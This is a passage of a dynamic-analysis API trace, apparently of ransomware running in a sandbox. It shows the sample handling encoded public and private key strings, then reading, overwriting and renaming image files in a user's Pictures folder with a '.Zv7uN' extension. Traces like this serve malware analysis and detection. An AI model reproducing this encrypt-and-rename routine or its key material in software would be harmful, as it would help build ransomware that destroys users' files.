lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.614] GetCurrentThreadId () returned 0xa30 [0085.614] GetCurrentThreadId () returned 0xa30 [0085.614] GetCurrentThreadId () returned 0xa30 [0085.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\Rkv tdZAdg61X2zGJw.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\rkv tdzadg61x2zgjw.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.614] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.615] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.615] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xdf17 [0085.615] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.615] ReadFile (in: hFile=0x110, lpBuffer=0x1efff40, nNumberOfBytesToRead=0xdf17, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0xdf17, lpOverlapped=0x0) returned 1 [0085.617] CloseHandle (hObject=0x110) returned 1 [0085.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\Rkv tdZAdg61X2zGJw.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\rkv tdzadg61x2zgjw.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.621] WriteFile (in: hFile=0x110, lpBuffer=0x1f0df70*, nNumberOfBytesToWrite=0xdf17, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0df70*, lpNumberOfBytesWritten=0x18f6ac*=0xdf17, lpOverlapped=0x0) returned 1 [0085.625] CloseHandle (hObject=0x110) returned 1 [0085.626] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\Rkv tdZAdg61X2zGJw.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\rkv tdzadg61x2zgjw.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\Rkv tdZAdg61X2zGJw.bmp.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\rkv tdzadg61x2zgjw.bmp.zv7un")) returned 1 [0085.627] GetCurrentThreadId () returned 0xa30 [0085.627] GetCurrentThreadId () returned 0xa30 [0085.627] GetCurrentThreadId () returned 0xa30 [0085.627] GetCurrentThreadId () returned 0xa30 [0085.627] GetCurrentThreadId () returned 0xa30 [0085.627] GetCurrentThreadId () returned 0xa30 [0085.628] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde473390, ftCreationTime.dwHighDateTime=0x1d5e545, ftLastAccessTime.dwLowDateTime=0xa58f9ba0, ftLastAccessTime.dwHighDateTime=0x1d5de5b, ftLastWriteTime.dwLowDateTime=0xa58f9ba0, ftLastWriteTime.dwHighDateTime=0x1d5de5b, nFileSizeHigh=0x0, nFileSizeLow=0xbb83, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="TtSX604s.png", cAlternateFileName="")) returned 1 [0085.628] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.628] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\TtSX604s.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\ttsx604s.png"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde473390, ftCreationTime.dwHighDateTime=0x1d5e545, ftLastAccessTime.dwLowDateTime=0xa58f9ba0, ftLastAccessTime.dwHighDateTime=0x1d5de5b, ftLastWriteTime.dwLowDateTime=0xa58f9ba0, ftLastWriteTime.dwHighDateTime=0x1d5de5b, nFileSizeHigh=0x0, nFileSizeLow=0xbb83)) returned 1 [0085.628] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\TtSX604s.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\ttsx604s.png")) returned 0x20 [0085.628] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\TtSX604s.png", dwFileAttributes=0x80) returned 1 [0085.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0085.631] GetCurrentThreadId () returned 0xa30 [0085.631] GetCurrentThreadId () returned 0xa30 [0085.631] GetCurrentThreadId () returned 0xa30 [0085.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.633] GetCurrentThreadId () returned 0xa30 [0085.633] GetCurrentThreadId () returned 0xa30 [0085.633] GetCurrentThreadId () returned 0xa30 [0085.633] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\TtSX604s.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\ttsx604s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.651] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.651] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.651] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xbb83 [0085.651] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.651] ReadFile (in: hFile=0x110, lpBuffer=0x1efff40, nNumberOfBytesToRead=0xbb83, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0xbb83, lpOverlapped=0x0) returned 1 [0085.654] CloseHandle (hObject=0x110) returned 1 [0085.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\TtSX604s.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\ttsx604s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.658] WriteFile (in: hFile=0x110, lpBuffer=0x1f0bf70*, 